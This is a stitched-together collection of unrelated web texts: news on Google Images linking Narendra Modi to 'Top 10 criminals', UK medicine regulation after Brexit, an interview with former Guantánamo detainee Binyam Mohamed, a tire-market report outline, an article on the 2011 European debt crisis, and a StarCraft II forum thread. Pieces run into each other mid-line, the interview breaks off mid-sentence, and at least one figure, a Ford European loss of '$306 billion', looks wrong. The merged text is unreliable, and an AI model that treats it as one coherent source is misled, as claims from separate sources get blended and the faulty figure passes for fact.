“These results trouble us and are not reflective of the opinions of Google. Sometimes, the way images are described on the internet can yield surprising results to specific queries. We apologise for any confusion or misunderstanding this has caused. We’re continually working to improve our algorithms to prevent unexpected results like this,” a spokesperson for Google said in a statement.
Read: Modi’s govt plans carnival to mark 1965 war with Pakistan
Despite the apology, the image of the Indian prime minister was still showing up on Google Images when searched for ‘Top 10 criminals’. It was not very long before the images went viral on social media and the hashtag #top10criminal became one of the top trends on Twitter worldwide.
Read: Will address your issues even in the middle of the night, Modi assures Muslim leaders
The company further justified itself by stating that results were due to a British newspaper which had an image of Modi and erroneous metadata.
Mr Modi needs to thank all Congress supporters/volunteers who raised the issue of the PM being in the #Top10Criminals list. Bhakts, agree?? — Sanjay Jha (@JhaSanjay) June 4, 2015
Won't be surprised if they ban Google in India next! #Top10Criminals — Hasiba B. Amin (@HasibaAmin) June 3, 2015
Narendra Modi is India's first ever Prime Minister to feature on #Top10Criminals. — Pyaar Se Mario (@SquareGas) June 3, 2015
Kinda baffled why Narendra Modi's Pic appears Twice if you search #Top10Criminals in Google pic.twitter.com/1jEoECOQCP — Joy (@Joydas) June 3, 2015
This article originally appeared on Hindustan Times
Read full storyImage copyright Getty Images
The UK will continue to co-operate with the European Union on medicine testing after it leaves the bloc, two senior ministers have suggested.
Business Secretary Greg Clark and Health Secretary Jeremy Hunt said such a deal would be "in the interests of public health and safety".
"The UK would like to find a way to continue to collaborate with the EU," they wrote in a Financial Times letter.
There are fears Brexit may cause delays in UK patients getting new drugs.
Currently the London-based European Medicines Agency (EMA) authorises drugs for use across the EU, including the UK.
However, it is expected to move out of the UK after Brexit, raising uncertainty over whether the UK will need to develop its own separate drug approval system.
Industry experts have warned that if this happens pharmaceutical firms could be slower to seek permission for their drugs to be used in just one country, focusing instead on getting their drugs approved for larger, more lucrative markets.
The UK pharmaceuticals trade association has also warned that Brexit could undermine future investment, research and jobs in the country.
But speaking on the BBC's Today programme, the UK managing director of US drugs giant Pfizer, Erik Nordkamp, said there were other issues than Brexit that the industry wanted to see addressed.
"The letter in the FT this morning is significant... because it acknowledges there are some risks that need to be addressed with regulation, with trade, but at the same time the government needs to address the long-standing issues that are there."
Access to medicines
The ministers wrote that the UK "will look to continue to work closely with the European Medicines Agency (EMA)."
"Our overall aim is to ensure that patients in the UK and across the EU continue to be able to access the best and most innovative medicines," they added.
In the letter, they cited examples where the UK and EU partnership had helped patients, including the licensing of 130 products to treat rare diseases.
In an attempt to reassure the industry, they also said if it wasn't possible to arrange "our desired relationship with the EU", then Britain would "set up a regulatory system" to process drugs licences "as quickly as possible."
Image copyright PA Image caption Greg Clark said the current UK and EU partnership had been beneficial
In April, EMA executive director Guido Rasi said continued co-operation was theoretically possible but it would be up to EU governments to decide whether to offer such a deal.
Pharmaceutical firms have been pushing for some kind of clarity over what the UK's exit from the EU will mean for the industry.
Mike Thompson, chief executive of the Association of the British Pharmaceutical Industry, said the ministers' letter was "a welcome recognition that the future of medicines regulation is a key priority for the government".The British human rights group Cageprisoners has just published a fascinating interview with Binyam Mohamed, the British resident, subjected to “extraordinary rendition” and torture, who was freed from Guantánamo on February 23. I have covered Binyam’s story in great depth over the last few years (see the list of articles at the end of this interview), including a detailed analysis of an interview he did with the journalist David Rose for the Mail on Sunday, following his release, but this interview, in which Moazzam Begg, former prisoner and spokesman for Cageprisoners, generally refrains from asking questions about Binyam’s torture, is particularly noteworthy for its insights into the psychological effects of incarceration in the CIA’s “Dark Prison” in Afghanistan, life as a prisoner in Bagram and Guantánamo, tales of other prisoners, and reflections on the importance of the prisoners’ faith, and the authorities’ response to it.
Moazzam Begg: Bismillah ir-Rahman ir-Raheem (In the Name of Allah, the Most Beneficent, the Most Merciful). I’m sitting here with brother Binyam Mohamed. Binyam, could you just introduce yourself a little bit and tell us who you are and where you’ve been for the past few years?
Binyam Mohamed: My name is Binyam Mohamed. I’m an Ethiopian citizen, born in Ethiopia. I came to the UK when I was 15 years old.
Moazzam Begg: You’re obviously well-known for having been held in Guantánamo Bay and the American secret prisons for the past few years. First of all, I’d like to say to you, brother, may Allah be praised for your return back to this country. I’d like to begin by asking you: you’ve been held in one of the world’s most notorious — if not the most notorious — prison, for all this time. Lots of people feel that the people there, despite all of the atrocities that they faced, are victims. Would you describe yourself as a victim or as a survivor?
Binyam Mohamed: First of all, I would praise Allah for the release, which happened after almost seven years of incarceration. I would say more like a survivor, because we had to survive so as not to lose our minds, and we came up with a lot of ways on how to survive in the situations that we found ourselves in.
Moazzam Begg: You were taken to custody in Pakistan and then moved over to Morocco, where you spent several months, or was it years?
Binyam Mohamed: I was held in Pakistan for almost three and a half months, and transported to Morocco, where I spent exactly 18 months.
Moazzam Begg: And then you were moved to Kabul in Afghanistan, to the “Dark Prison”?
Binyam Mohamed: And then I was moved to Kabul, where I spent almost five months.
Moazzam Begg: And then you were moved to the Bagram Detention Facility?
Binyam Mohamed: Yes, we were moved to Bagram around June 2004, where we spent three to four months.
Moazzam Begg: I realise you’ve already done interviews with other people. I’m not going to try to focus on the terrible torture that was meted out to you, but what I do want to focus on is people that you witnessed, and people that are still in the custody of the USA. When you were in the Bagram Detention Facility after being held in the “Dark Prison,” you came across a female prisoner. Can you describe a little bit about who you think she is and what you saw of her?
Binyam Mohamed: In Bagram, I did come across a female who wore a shirt with the number of “650,” and I saw her several times, and I heard a lot of stories about her from the guards and the other prisoners over there.
Moazzam Begg: And these stories said what about her, in terms of her description and her background?
Binyam Mohamed: What we were told first … we were frightened by the guards not to communicate with her, because they feared that we would talk to her and we would know who she was. So they told us that she was a spy from Pakistan, working with the government, and the Americans brought her to Bagram.
Moazzam Begg: So you think they spread the rumour that she was a spy … that would have kept you away from her and apprehensive towards her?
Binyam Mohamed: Basically, nobody talked to her in the facility, and she was held in isolation, where … she was only brought out to the main facility just to use the toilet. But all I knew about her was that she was from Pakistan, and that she had studied, or she had lived in America. And the guards would talk a lot about her, and I did actually see her picture when I was here a few weeks ago, and I would say she’s the very person I saw in Bagram.
Moazzam Begg: And that’s the very picture I showed you of Aafia Siddiqui?
Binyam Mohamed: That’s the very picture I saw.
Moazzam Begg: There have been all sorts of rumours about what happened to her — and may Allah free her soon — but part of those rumours include her being terribly abused. Do you have any knowledge of what abuse she might have faced?
Binyam Mohamed: Apart from her being in isolation — and the fact that I saw, when she was walking up and down, I could tell that she was severely disturbed — I don’t think she was in her right mind — literally, I don’t think she was sane — and I didn’t feel anything at that time, because, as far as I was concerned, she was a hypocrite working with the other governments. But had we known that she was a sister, I don’t think we would have been silent. I think there would have been a lot of maybe even riots in Bagram.
Moazzam Begg: Some of the brothers who later escaped from Bagram spoke about her and said that they learnt afterwards who she was and that they went on hunger strike. You might have left by this time, but were the other prisoners there upset by seeing a woman there, regardless, as a prisoner?
Binyam Mohamed: We were upset at witnessing just the weakened, the injured in front of us in Bagram, and had we known that there was a sister over there, I don’t think anyone would have been silent. But to keep Bagram as Bagram — quiet — the Americans put out the rumour that she was not a sister.
Moazzam Begg: That she was a spy.
Binyam Mohamed: That she was a spy and we had to stay away from her.
Moazzam Begg: Did you ever hear any rumours at that time of her having children, or anything like that?
Binyam Mohamed: I had heard — I’m not sure if from the guards or from the brothers — that she did have children, but the children were not in Bagram. They were somewhere else.
Moazzam Begg: And was there any rumour or discussion as to what happened to those children?
Binyam Mohamed: We had no idea what happened to the children.
Moazzam Begg: Eventually you moved to Guantánamo Bay, and one of the things that often comes out about the Bagram Detention Facility is that people were subjected to all sorts of different torture there, and then they compared that to Guantánamo. If you were able to compare the different prisons you were held in — from Morocco, from the “Dark Prison,” Bagram to Guantánamo — which would you say is the worst?
Binyam Mohamed: Personally, I take the “Dark Prison” as being the worst, and that’s because I was literally there not for gathering information. It wasn’t set up as a detention centre, it was literally there just to have somebody go insane.
Moazzam Begg: Can you describe a little the “Dark Prison” and what it’s like, because there are many reports we’ve had from those that were held there — and they seem to be consistent — but just to hear from you in terms of what effect it had on you: how was the “Dark Prison”?
Binyam Mohamed: Right from the beginning of where you can’t sleep unless you literally … you’re so tired you can’t stay awake, that just tells you that you’re in a place where your mind starts telling you that, to me, literally that I didn’t know I existed. In the other prisons I was in, it was, “When is this going to end?” In the “Dark Prison,” it wasn’t, “Is this going to end?” it was, “Is this real?”
Moazzam Begg: One of the hardest things I found, being held in Bagram myself, was, I knew that I could deal with my own abuse, when they abused me in Bagram or Kandahar or Guantánamo, but the hardest thing was to watch it happen to someone else. Did you regularly see other people being abused by the American soldiers?
Binyam Mohamed: I used to literally see all kinds of abuses, and the humiliations, degrading treatment, but the Americans usually did it as a way of separating between those whom they liked and those who they didn’t like.
Moazzam Begg: Those who co-operated and those who didn’t?
Binyam Mohamed: Yeah … If you were safe from being abused, you literally didn’t want to be standing up for those who were being abused, because you would find yourself being in front of their abuse, and, for example, this happened in Bagram, where there was this Afghan who had been shot at least twenty times, and the guy had … he was just a skeleton, because he couldn’t eat. And they’d flown him from the hospital where he was staying to the Bagram Facility, just to instil fear into the population. Americans don’t care. They find you outside, shoot you twenty times, put you in a hospital. You start walking well, they put you in the system.
Literally, the guy couldn’t even … let alone walk, he couldn’t even sleep well. He was in the shower, where he was forced to go out back to his isolation, and the man couldn’t walk, so he asked to sit down. And these are the very guards who yesterday were smiling and laughing with us, they were telling this guy he had to talk. I tried to intervene. I couldn’t. The other brothers |
Gross Margin and Market Share (2015-2016)
Table Global Specialty Tire Consumption Sales by Manufacturer (2015-2016)
Figure Global Specialty Tire Consumption Sales Market Share by Manufacturer in 2015
Figure Global Specialty Tire Consumption Sales Market Share by Manufacturer in 2016
Table Global Specialty Tire Consumption Revenue by Manufacturer (2015-2016)
Figure Global Specialty Tire Consumption Revenue Market Share by Manufacturer in 2015
Figure Global Specialty Tire Consumption Revenue Market Share by Manufacturer in 2016
Figure Global Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Global Specialty Tire Consumption Revenue and Growth (2011-2016)
Table Global Specialty Tire Consumption Sales by Regions (2011-2016)
Table Global Specialty Tire Consumption Sales Market Share by Regions (2011-2016)
Table Global Specialty Tire Consumption Revenue by Regions (2011-2016)
Table Global Specialty Tire Consumption Revenue Market Share by Regions (2011-2016)
Figure North America Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Europe Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Asia-Pacific Specialty Tire Consumption Sales and Growth (2011-2016)
Figure South America Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Middle East and Africa Specialty Tire Consumption Sales and Growth (2011-2016)
Figure North America Specialty Tire Consumption Revenue and Growth (2011-2016)
Table North America Specialty Tire Consumption Sales by Countries (2011-2016)
Table North America Specialty Tire Consumption Sales Market Share by Countries (2011-2016)
Table North America Specialty Tire Consumption Revenue by Countries (2011-2016)
Table North America Specialty Tire Consumption Revenue Market Share by Countries (2011-2016)
Figure USA Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Canada Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Mexico Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Europe Specialty Tire Consumption Revenue and Growth (2011-2016)
Table Europe Specialty Tire Consumption Sales by Countries (2011-2016)
Table Europe Specialty Tire Consumption Sales Market Share by Countries (2011-2016)
Table Europe Specialty Tire Consumption Revenue by Countries (2011-2016)
Table Europe Specialty Tire Consumption Revenue Market Share by Countries (2011-2016)
Figure Germany Specialty Tire Consumption Sales and Growth (2011-2016)
Figure UK Specialty Tire Consumption Sales and Growth (2011-2016)
Figure France Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Russia Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Italy Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Asia-Pacific Specialty Tire Consumption Revenue and Growth (2011-2016)
Table Asia-Pacific Specialty Tire Consumption Sales by Countries (2011-2016)
Table Asia-Pacific Specialty Tire Consumption Sales Market Share by Countries (2011-2016)
Table Asia-Pacific Specialty Tire Consumption Revenue by Countries (2011-2016)
Table Asia-Pacific Specialty Tire Consumption Revenue Market Share by Countries (2011-2016)
Figure China Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Japan Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Korea Specialty Tire Consumption Sales and Growth (2011-2016)
Figure India Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Southeast Asia Specialty Tire Consumption Sales and Growth (2011-2016)
Figure South America, Middle East and Africa Specialty Tire Consumption Revenue and Growth (2011-2016)
Table South America, Middle East and Africa Specialty Tire Consumption Sales by Countries (2011-2016)
Table South America, Middle East and Africa Specialty Tire Consumption Sales Market Share by Countries (2011-2016)
Table South America, Middle East and Africa Specialty Tire Consumption Revenue by Countries (2011-2016)
Table South America, Middle East and Africa Specialty Tire Consumption Revenue Market Share by Countries (2011-2016)
Figure Brazil Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Saudi Arabia Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Egypt Specialty Tire Consumption Sales and Growth (2011-2016)
Figure Nigeria Specialty Tire Consumption Sales and Growth (2011-2016)
Figure South Africa Specialty Tire Consumption Sales and Growth (2011-2016)
Table Global Specialty Tire Consumption Sales by Type (2011-2016)
Table Global Specialty Tire Consumption Sales Share by Type (2011-2016)
Table Global Specialty Tire Consumption Revenue by Type (2011-2016)
Table Global Specialty Tire Consumption Revenue Share by Type (2011-2016)
Figure Global Radial Agriculture Tires Sales Growth (2011-2016)
Figure Global Radial Agriculture Tires Price (2011-2016)
Figure Global Bias (Crossply) Agriculture Tires Sales Growth (2011-2016)
Figure Global Bias (Crossply) Agriculture Tires Price (2011-2016)
Figure Global Sales Growth (2011-2016)
Figure Global Price (2011-2016)
Table Global Specialty Tire Consumption Sales by Application (2011-2016)
Table Global Specialty Tire Consumption Sales Share by Application (2011-2016)
Figure Global Agricultural equipment Sales Growth (2011-2016)
Figure Global Off-road vehicles Sales Growth (2011-2016)
Figure Global Others Sales Growth (2011-2016)
Figure Global Sales Growth (2011-2016)
Figure Global Specialty Tire Consumption Sales, Revenue and Growth Rate (2016 -2021)
Table Global Specialty Tire Consumption Sales Forecast by Regions (2016-2021)
Table Global Specialty Tire Consumption Market Share Forecast by Regions (2016-2021)
Table Global Specialty Tire Consumption Sales Forecast by Type (2016-2021)
Table Global Specialty Tire Consumption Market Share Forecast by Type (2016-2021)
Table Global Specialty Tire Consumption Sales Forecast by Application (2016-2021)
Table Global Specialty Tire Consumption Market Share Forecast by Application (2016-2021)
Table Distributors/Traders/ Dealers List
Browse market data Tables and Figures spread through 115 Pages and in-depth TOC on "Global Specialty Tire Consumption Market by Manufacturers, Regions, Type and Application, Forecast to 2021" Download Free Sample Send to colleagueWASHINGTON – The financial crisis that began in the United States in late 2007 swept across the Atlantic Ocean to Europe. Now, U.S. political and financial leaders are hoping a tentative deal to relieve Europe's government debt crisis will prevent a similar tsunami in reverse.
They had reason to smile Thursday. Meeting for the 14th time in 21 months, Europe's leaders announced a 50% reduction in Greece's loan repayments to private lenders, a $1.4 trillion rescue fund to keep credit flowing to other troubled nations, and a requirement that banks boost their reserves by the middle of next year.
The deal gave an immediate boost to financial markets; the Dow Jones industrial average closed almost 3% higher Thursday.
However, the details of the deal still have to be worked out.
Banks must agree to the latest bailout for Greece, which still would leave its gross debt at 120% of its economy by 2020, down from 160%. The rescue fund replenishment likely would come from new borrowing or simply deploying more than the $600 billion already in the fund. And European banks could remain short of capital for the next eight months, threatening the flow of credit to consumers.
So despite initial enthusiasm for the deal, there is much potential for problems.
Europe's ills already have damaged some U.S. interests, from multinational companies to major exporters. Individual investors have many reasons for concern, as the enthusiasm from earlier debt agreements has given way to pessimism and stock market dives. If the U.S. economy takes such a turn into 2012, Europe's financial troubles could wind up affecting the U.S. presidential election.
"The economic health of Europe is vital to the prosperity of the United States," says Daniel Price, managing director at Rock Creek Global Advisors, who was President George W. Bush's top deputy for international economics.
Struggling to boost the U.S. economy, the Obama administration on Thursday reported a 2.5% annual growth rate in the third quarter — a pace that met analysts' expectations but was far below the nearly 4% growth rate of late 2009 and early 2010.
With the U.S. unemployment rate still above 9%, the administration has pressured European political leaders to solve their crisis before it gets worse. At first confined to Greece, then Portugal and Ireland, the sovereign debt crisis now threatens Italy, Spain and the European banks that hold many of those countries' IOUs.
President Obama has kept in steady contact with German Chancellor Angela Merkel and French President Nicolas Sarkozy, the two linchpins of the 17-member eurozone, in the days leading up to next week's Group of 20 summit. On Thursday, Obama called the latest agreement "an important first step."
"It will definitely have an impact on us here in the United States," Obama said. "If Europe is weak, if Europe is not growing, as our largest trading partner, that's going to have an impact on our businesses and our ability to create jobs here."
One role the United States could play is to support using the International Monetary Fund's $380 billion in lending authority if needed — though officials say Europe can finance its own rescue or seek contributions to the rescue fund from China and other developing but thriving nations.
"I can assure you that the IMF will continue to play its part in supporting the efforts made today to address the challenges facing the euro area and to restore growth to its full potential," IMF Managing Director Christine Lagarde said.
Despite the latest pronouncements from leaders of the 17-nation eurozone that the crisis affecting underfinanced nations and overextended banks will be fixed, some U.S. financial institutions and multinational companies have been preparing for the worst.
What worries analysts most about the European crisis isn't what they know, but what they don't. For now, confidence has returned to the markets. But any crisis of confidence would set back the European economy, and the U.S. would suffer the consequences.
"It is implausible that the European financial system implodes and the U.S. is not infected as a result," says Peter Orszag, vice president of global banking at Citigroup and a former White House budget director.
Here are five ways the European government debt crisis could affect the United States:
1. U.S. banks are 'tethered' to those in Europe
European banks are at the center of the crisis, having become overextended in debt-ridden countries or in the nations that will be asked to bail them out.
"Our big banks are tethered at the hip to their banks," says Mark Zandi, chief economist at Moody's Analytics. "They're all at risk. They're all exposed."
The largest exposures aren't in the most troubled nations sharing the euro, such as Greece, Portugal and Ireland. U.S. banks have about $700 billion in outstanding loans in Great Britain, which isn't directly affected. They have about $300 billion each in France and Germany, the leaders of the eurozone. And they have about $50 billion each in Italy and Spain — countries that could be dragged into default if the crisis escalates.
Even so, the USA's largest financial houses have billions of dollars in credit risks in the five most endangered nations: Greece, Portugal, Ireland, Italy and Spain.
Bank of America's exposure in those five countries was $16.7 billion at the end of June, JPMorgan Chase's exposure was $14 billion and Citigroup's was $13.5 billion, according to their quarterly filings with the Securities and Exchange Commission. Morgan Stanley, Wells Fargo and Goldman Sachs each had exposures of $3 billion to $5 billion. The banks reported they had tried to reduce their exposure to bad debt by buying insurance.
Those figures may overstate the problem, says Kathleen Shanley, a bank analyst at bond-research firm Gimme Credit in Chicago. The loans are spread between foreign banks, governments and corporations, and many are hedged or collateralized. Big banks such as JPMorgan and Morgan Stanley have enough capital to cope with any likely losses, she says.
The impact here could be felt on several levels: Employees of European banks such as UBS and Deutsche Bank could see their jobs threatened if a recession hits Europe and those employers retrench. U.S. banks could further tighten credit to small businesses in this country.
Still, "this is a much smaller problem than anything we faced in the fall of 2008," says Sebastian Mallaby, director of the Center for Geoeconomic Studies at the Council on Foreign Relations.
2. A potential threat to U.S. exports
More than 20% of all U.S. exports go to Europe, making it the nation's largest trading partner. About 14% go to the 17 eurozone countries, behind only Canada and Mexico.
Total exports to the European Union were $177 billion in the first eight months of 2011, up 15% from last year. Even so, the U.S. is running a $65 billion trade deficit with the EU.
Germany and Great Britain are by far the USA's biggest trading partners. Exporters' exposure in the Southern European nations at the heart of the crisis isn't as great. Italy imported only $14 billion in goods and services from the USA last year; Spain, $10 billion. The total for Greece: $1 billion.
Exports to Italy actually rose this year as the financial crisis rekindled. During downturns in 2008-09 and earlier in the decade, the total drop in exports to Portugal, Italy and Ireland never exceeded $3 billion a year, according to U.S. Census Bureau statistics.
The real worry for U.S. business is that financial panic might cause a broad recession throughout the eurozone, quelling the appetites of French and German consumers and businesses for U.S. products.
Standard & Poor's bond rating agency believes Europe will avoid a recession and that the USA is at serious risk only if Europe has a very severe downturn, deputy chief economist Beth Ann Borzino said this week. JPMorgan Chase economist Joseph Lupton says the company believes Europe already is in a new recession, but the United States is moving tentatively in a better direction.
Industries that are most dependent on European trade include chemicals, transportation, computers and electronics. Companies such as Microsoft, IBM and Hewlett-Packard are heavily invested in Europe, as are aerospace companies such as Boeing.
If orders in Europe slow for aircraft or computers, "that can ripple right back into economic activity here," says Kent Hughes, director of the Program on America and the Global Economy at the Woodrow Wilson International Center for Scholars.
Other analysts say the impact might not be great. If U.S. exports to Europe dropped by 20%, it would represent 4% of total U.S. exports. Because exports make up about 15% of U.S. gross domestic product, that would mean less than a 1% decline in the economy.
Nevertheless, if you work for a company that relies on European exports, "then clearly you're vulnerable," says Nigel Gault, chief U.S. economist at IHS Global Insight.
3. U.S. companies' investments in Europe at stake
It might take a year or more for the full effect of a downturn in Europe to be felt by exporters, but the impact could be swift for companies directly invested there.
The eurozone is the biggest market for U.S. companies with direct foreign investments. More than half the sales of American-owned foreign affiliates are in Europe.
Even now, "a lot of companies are sort of battening down the hatches in terms of their capital budgets," Orszag says.
The European crisis has been a drain on U.S. automakers for most of the year.
It may have dashed General Motors' hopes for its GM Europe unit, including struggling Germany-based Opel, to break even before restructuring costs in 2011. On Wednesday, Ford reported a third-quarter loss of $306 billion in Europe. Fiat, which owns Chrysler, saw its sales in Europe drop 7.6% in the second quarter and is looking to its U.S. subsidiary for help in weathering the crisis.
"The European market has been dragging everyone's balance sheets down," says Rebecca Lindland, research director for IHS Automotive. "Ford and General Motors are feeling that just as much as anyone else." That means fewer profits that can be reinvested in American jobs, new models and more efficient factories.
Less known is what European investments U.S. companies have made through more complex financial arrangements, such as hedge funds, credit default swaps and insurance.
"We have to presume that there may be other things hiding in the closet here that we don't know about," says Bruce Stokes, senior trans-Atlantic fellow for economics at the German Marshall Fund of the United States.
4. The potential impact on individual investors
If banks, multinational companies and exporters still risk taking a bath in Europe, average investors at least might come in for a shower.
Global equity markets are highly reactive to events in Europe and, if anything, tend to overreact. That seemed to be the case last week, when a whiff of a debt plan from Germany and France sent the Dow Jones industrial average into the black for the year. On Thursday, the latest deal sent the Dow soaring past 12,000.
"This significantly reduces the chance of financial panic, and thus the risk of a double-dip U.S. recession," says David Wyss, former chief economist at Standard & Poor's and a visiting fellow at Brown University.
Although the markets recognized that "a catastrophe has been avoided," says Uri Dadush, director of international economics at the Carnegie Endowment for International Peace, "I'll be very interested to see how long this ebullience lasts."
U.S. money market funds already are moving assets elsewhere. About 19% of prime money-market funds' assets are in eurozone countries now, down from about 33% last November. They've eliminated virtually all lending to banks in Italy and Spain.
If the situation worsens again, sectors that could take a hit in the stock market include financial, technology, aerospace, defense and commodities, analysts say.
Jittery investors might want to reduce their risk, says Jacob Kirkegaard, senior research fellow at the Peterson Institute.
"If you believe Europe is going to get a lot worse than it is today, then certainly that is what you should do," he says. "That would be the only rational thing to do."
5. A 'dramatic effect' on the 2012 election?
If typical workers and investors in the United States get dragged down, could the president be far behind?
For Obama, the U.S. financial crisis that preceded his election set the stage for three years of economic volatility. But at least in 2009, he took office with a mandate from the voters, a Democratic majority in Congress to push through his economic stimulus plan and financial regulation programs, and four years until his next election.
None of that exists today — another reason why Treasury Secretary Timothy Geithner and other administration figures are pushing European leaders to close the deal reached Thursday morning. European shocks this year roiled markets and fueled instability in the United States. That has meant instability for a president who acknowledges being the underdog in the 2012 election.
"It's very much out of the control of this administration," says Sabina Dewan, director of globalization and international employment at the liberal Center for American Progress. Still, she says, any repercussions from Europe's crisis "will be perceived to be the fault of the administration."
That keeps the pressure on Obama to seek more assurances at next week's meeting of G-20 leaders in Cannes. "The key now is to make sure that there is strong follow-up, strong execution of the plans that have been put forward," Obama said.
That presumes the United States has much influence in the wake of a financial crisis that began here. In the past, European leaders have sought out and valued U.S. counsel and support.
"Lecturing from American leaders at this point simply doesn't work," Mallaby warns. "We don't have the moral standing to say to people, 'Listen, guys, we know how to run an economy. Here's how you do it.'"Moletrap Profile Blog Joined July 2007 United States 1286 Posts Last Edited: 2011-05-07 09:22:53 #1
Anyway, in the middle of the last epic game, when sC had the advantage and was pushing across the map, the fOu coach, Choya, came out into the crowd, expecting at any moment to be able to go over and congratulate his cheesy golden boy. He's the one standing, dressed in a snazzy black suit.
During the match, when NesTea lost his third and sC had another force barreling down the map, someone told me "too bad NesTea is going to lose"... I said something like "don't count him out, yet, man. He always pulls crazy stuff out of his ass."
When he did miraculously win the final battle, the crowd fucking erupted!
+ Show Spoiler [Video] +
My camera doesn't have that good of a mic, so the feeling of mayhem in the crowd isn't done justice. Trust me when I say everyone was roaring!
My camera doesn't have that good of a mic, so the feeling of mayhem in the crowd isn't done justice. Trust me when I say everyone was roaring!
Normally after a GSL win there are 1 or 2 photographers taking pictures of the winner.. there were like 10+ waiting to take pictures of NesTea!
Btw, loltastic photoshop by Doa:
+ Show Spoiler +
There was a ton of kids waiting to catch sight of NesTea..
And after the pictures, he went out to sign autographs!
Min.us album page:
I had the distinct and remarkable pleasure of being in the GSL studio for the end of the series between sC[fOu] and IM NesTea, camera in hand.. if you haven't seen that series, go watch it now!! Here are a few pictures and a video from the end of the last game and the winner being a badass afterward... Click thumbnails for larger. PM for HQ if you want them.Anyway, in the middle of the last epic game, when sC had the advantage and was pushing across the map, the fOu coach, Choya, came out into the crowd, expecting at any moment to be able to go over and congratulate his cheesy golden boy. He's the one standing, dressed in a snazzy black suit.During the match, when NesTea lost his third and sC had another force barreling down the map, someone told me "too bad NesTea is going to lose"... I said something like "don't count him out, yet, man. He always pulls crazy stuff out of his ass."When he did miraculously win the final battle, the crowd fucking erupted!Normally after a GSL win there are 1 or 2 photographers taking pictures of the winner.. there were like 10+ waiting to take pictures of NesTea!Btw, loltastic photoshop by Doa:There was a ton of kids waiting to catch sight of NesTea..And after the pictures, he went out to sign autographs!Min.us album page: http://min.us/mvjlCbg#1 aka Moletrap
sob3k Profile Blog Joined August 2009 United States 5384 Posts #2 You should really get some spoiler tags up in here. In Hungry Hungry Hippos there are no such constraints—one can constantly attempt to collect marbles with one’s hippo, limited only by one’s hippo-levering capabilities.
Moletrap Profile Blog Joined July 2007 United States 1286 Posts #3 On May 07 2011 18:19 sob3k wrote:
You should really get some spoiler tags up in here.
The thumbnails are showing up, aren't they? I don't think anyone would be dumb enough to click on something titled "last game" and not expect the result to be spoiled.. The thumbnails are showing up, aren't they? I don't think anyone would be dumb enough to click on something titled "last game" and not expect the result to be spoiled.. aka Moletrap
ReketSomething Profile Blog Joined November 2008 United States 5124 Posts #4 On May 07 2011 18:25 f10esqftw wrote:
Show nested quote +
On May 07 2011 18:19 sob3k wrote:
You should really get some spoiler tags up in here.
The thumbnails are showing up, aren't they? I don't think anyone would be dumb enough to click on something titled "last game" and not expect the result to be spoiled.. The thumbnails are showing up, aren't they? I don't think anyone would be dumb enough to click on something titled "last game" and not expect the result to be spoiled..
I also agree that they are unnecessary. Anyways, those kids in the second to last picture look so nerdy T___T lol I also agree that they are unnecessary. Anyways, those kids in the second to last picture look so nerdy T___T lol Jaedong :3
Crazyeyes Profile Blog Joined March 2008 Canada 1341 Posts #5 lol, sounds like some guy is moaning in that video. ^__^
Is that the entire/most of the crowd? Its actually pretty small. :/
and yes, spoiler tags would be ridiculous. Obviuosly there will be spoilers, lol. WeeEEeeEEEeeEEEeeeEEee!!
Moletrap Profile Blog Joined July 2007 United States 1286 Posts #6 On May 07 2011 18:40 Crazyeyes wrote:
lol, sounds like some guy is moaning in that video. ^__^
Is that the entire/most of the crowd? Its actually pretty small. :/
and yes, spoiler tags would be ridiculous. Obviuosly there will be spoilers, lol.
The crowd was about 5 times the normal size The crowd was about 5 times the normal size aka Moletrap
TheSilverfox Profile Joined December 2010 Sweden 1920 Posts Last Edited: 2011-05-07 09:54:13 #7
Great blog post! Normally after a GSL win there are 1 or 2 photographers taking pictures of the winner.. there were like 10+ waiting to take pictures of NesTea!
Is it ok to use your pictures to the NesTea fanclub thread? Will credit you of course :D
http://www.teamliquid.net/forum/viewmessage.php?topic_id=220297
Is it ok to use your pictures to the NesTea fanclub thread? Will credit you of course :D Also known as Joinsimon on Twitter/Reddit
Wunder Profile Blog Joined April 2010 United Kingdom 2940 Posts #8 Moletrap! <333 Thanks for the great coverage man. Serious squealing was done after that match. Writer @joonjoewong
Moletrap Profile Blog Joined July 2007 United States 1286 Posts #9 On May 07 2011 18:54 TheSilverfox wrote:
Great blog post!
Show nested quote +
Normally after a GSL win there are 1 or 2 photographers taking pictures of the winner.. there were like 10+ waiting to take pictures of NesTea!
Is it ok to use your pictures to the NesTea fanclub thread? Will credit you of course :D
http://www.teamliquid.net/forum/viewmessage.php?topic_id=220297
Great blog post!Is it ok to use your pictures to the NesTea fanclub thread? Will credit you of course :D
Sure, no prob Sure, no prob aka Moletrap
LuckyFool Profile Blog Joined June 2007 United States 8992 Posts #10 One thing the GSL should do more is show shots of the crowd, I realize we get 0 crowd shots like we had in broodwar.
doom zooms would be awesome too.
Snuggles Profile Blog Joined May 2010 United States 1850 Posts #11 On May 08 2011 00:25 LuckyFool wrote:
One thing the GSL should do more is show shots of the crowd, I realize we get 0 crowd shots like we had in broodwar.
doom zooms would be awesome too.
I agree, especially with doom zooms lol. But jeez OP I really really envy you for being there. I watched that match live with a laptop on my lap, chilling on my bed, 3 or so in the morning, and god I felt the same rush and excitement as that crowd.
Best SC2 match I have ever seen. I agree, especially with doom zooms lol. But jeez OP I really really envy you for being there. I watched that match live with a laptop on my lap, chilling on my bed, 3 or so in the morning, and god I felt the same rush and excitement as that crowd.Best SC2 match I have ever seen.
Kipsate Profile Blog Joined July 2010 Netherlands 29335 Posts #12 On May 08 2011 00:25 LuckyFool wrote:
One thing the GSL should do more is show shots of the crowd, I realize we get 0 crowd shots like we had in broodwar.
doom zooms would be awesome too.
